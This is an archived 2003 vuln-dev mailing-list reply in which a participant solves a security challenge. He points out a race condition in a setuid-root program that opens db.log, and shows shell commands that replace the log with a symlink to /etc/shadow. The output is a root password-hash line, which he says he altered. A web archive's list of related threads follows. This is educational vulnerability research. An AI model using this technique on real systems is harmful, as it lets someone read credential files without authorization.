Re: [Vuln-dev Challenge] Challenge #2

From: Thomas Cannon (tcannon_at_noops.org)
Date: 05/24/03

  • Next message: Steven Hill: "[Vuln-dev Challenge]: Symlink Attack" 
    Date: Fri, 23 May 2003 16:48:08 -0700
To: vuln-dev@securityfocus.com

    >
    > /* read log */
    > if ( (f1 = fopen("db.log", "r")) == NULL)
    > return 1;
    > if (fgets(bfp, BFSIZE, f1) == NULL)
    > return 1;
    >

    ...and if db.log is perhaps a symlink to /etc/shadow?

    I assumed the program would be chown'd to root, and set 4755. If this is an
    invalid assumption, well, no point in reading any further.

    I compiled the program, stopped it after it writing the input log, made a
    symlink, and resumed running the program, with lovely results:

    [tcannon@needle]$ rm db.log
    [tcannon@needle]$ ln -s /etc/shadow db.log
    [tcannon@needle]$ fg
    ./a.out a a
    root:$1$TlFzTwuXXX.yj55Gy2RVfUd8dSDAE/:11955:0:99999:7:::

    I like race conditions. No point in wasting your CPU -- that shadowed
    password did get modified before I sent it to the list :-)

    Cheers,

    --tcannon

    PS: Nice strcpy

  • Next message: Steven Hill: "[Vuln-dev Challenge]: Symlink Attack"

    Relevant Pages

    • Re: [PATCH 0/3] vfs: plug some holes involving LAST_BIND symlinks and file bind mounts (try #5)
      ... A process can run inside a subdirectory it doesn't have permissions to ... root, if that's how it was started - as well as having other ... to follow a /proc/pid symlink to a path that it wouldn't ordinarily be ... directory permissions or access files that aren't in their namespace ...
      (Linux-Kernel)
    • Re: user permission problems
      ... Subject: user permission problems ... Note you should put any commands in a shell script so asroot can execute it with root perms, and you can add sanity tests to prevent things like ... add root and the special scripts like "kill_it' to the users that will use the scripts. ... I would assume the symlink is done from another restricted dir, such as a support dir owned by the support login, and only RW perms for the owner. ...
      (comp.unix.sco.misc)
    • Re: /usr/local/etc/rc.d/ scripts and non-root user
      ... I put there has the root as owner. ... How can I make sure that the file is indeed run as user api? ... the owner of a symlink is completely irrelevant. ... logs are owned by user api. ...
      (freebsd-questions)
    • Re: [PHP] Difficulty navigating symlinks
      ... actual parent directory instead of the directory containing the symlink. ... If that is the case, add the vHOST entry that I talked about above, then ... and more files than I expected that include the config file ... to the web root available to your script. ...
      (php.general)
    • Re: cups ppd files
      ... There's just one program, "printconf", and a bunch of symbolic ... running printconf as root. ... consolehelper does not appear to me to be a symlink to anything. ...
      (Fedora)